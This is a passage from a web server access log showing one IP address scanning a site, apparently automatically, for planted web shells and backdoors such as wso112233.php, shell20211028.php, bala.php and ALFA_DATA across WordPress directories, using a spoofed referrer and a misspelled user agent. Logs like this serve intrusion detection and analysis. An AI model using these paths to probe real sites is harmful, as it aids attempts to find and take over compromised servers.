Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:21:18 +0330] "GET /wp-admin/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:21:26 +0330] "GET /max.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:21:34 +0330] "GET /wso-x569.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:21:36 +0330] "GET /4price3.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:21:38 +0330] "GET /ioxi-rex.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:21:39 +0330] "GET /wp-admin/css/colors/blue/ioxi1.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:21:40 +0330] "GET /ioxi2.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:21:41 +0330] "GET /wp-includes/js/js.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:20:32 +0330] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:20:41 +0330] "GET /cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:20:44 +0330] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:20:48 +0330] "GET /img/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:20:51 +0330] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:20:51 +0330] "GET /images/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:20:53 +0330] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:20:54 +0330] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:20:55 +0330] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:21:04 +0330] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:21:06 +0330] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:21:08 +0330] "GET /wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:21:19 +0330] "GET /revision.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:21:36 +0330] "GET /fm1.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:21:42 +0330] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:21:58 +0330] "GET /4pric.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:05 +0330] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:06 +0330] "GET /.well-knownold/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:07 +0330] "GET /.well-known/acme-challenge/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:10 +0330] "GET /wp-content/plugins/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:11 +0330] "GET /wp-content/uploads/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:19 +0330] "GET /wp-content/themes/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:23 +0330] "GET /.well-known/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:24 +0330] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:25 +0330] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:32 +0330] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:33 +0330] "GET /wp-content/uploads/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:34 +0330] "GET /wp-content/plugins/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:38 +0330] "GET /.well-known/acme-challenge/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:21:57 +0330] "GET /million.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:00 +0330] "GET /404.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:09 +0330] "GET /.well-known/pkivalidation/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:13 +0330] "GET /wp-content/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:14 +0330] "GET /wp-includes/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:15 +0330] "GET /wp-admin/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:23 +0330] "GET /wp-content/themes/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:34 +0330] "GET /.well-known/pkivalidation/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:40 +0330] "GET /.well-knownold/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:40 +0330] "GET /.well-known/shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:48 +0330] "GET /wp-content/themes/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:50 +0330] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:59 +0330] "GET /wp-content/uploads/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:27:55 +0330] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:28:12 +0330] "GET /wp-includes/css/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:54 +0330] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:22:55 +0330] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:23:00 +0330] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:23:01 +0330] "GET /.well-known/pkivalidation/wso112233.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:28:10 +0330] "GET /wp-includes/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:28:15 +0330] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:28:16 +0330] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:28:24 +0330] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:28:31 +0330] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:28:50 +0330] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:28:53 +0330] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:28:54 +0330] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:28:59 +0330] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:29:03 +0330] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:29:03 +0330] "GET /.well-known/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:28:25 +0330] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:28:29 +0330] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:28:31 +0330] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:28:33 +0330] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:28:50 +0330] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:28:52 +0330] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:28:55 +0330] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:28:55 +0330] "GET /wp-includes/images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:28:57 +0330] "GET /.well-known/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:29:00 +0330] "GET /.well-knownold/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:29:09 +0330] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:29:13 +0330] "GET /.well-knownold/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:29:15 +0330] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:29:51 +0330] "GET /upload/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:29:55 +0330] "GET /admin/uploads/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:29:07 +0330] "GET /cgi-bin/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:29:17 +0330] "GET /.well-known/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:29:34 +0330] "GET /uploads/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:29:57 +0330] "GET /Admin/uploads/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:29:58 +0330] "GET /admin/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:29:59 +0330] "GET /assets/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:00 +0330] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:01 +0330] "GET /upload/image/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 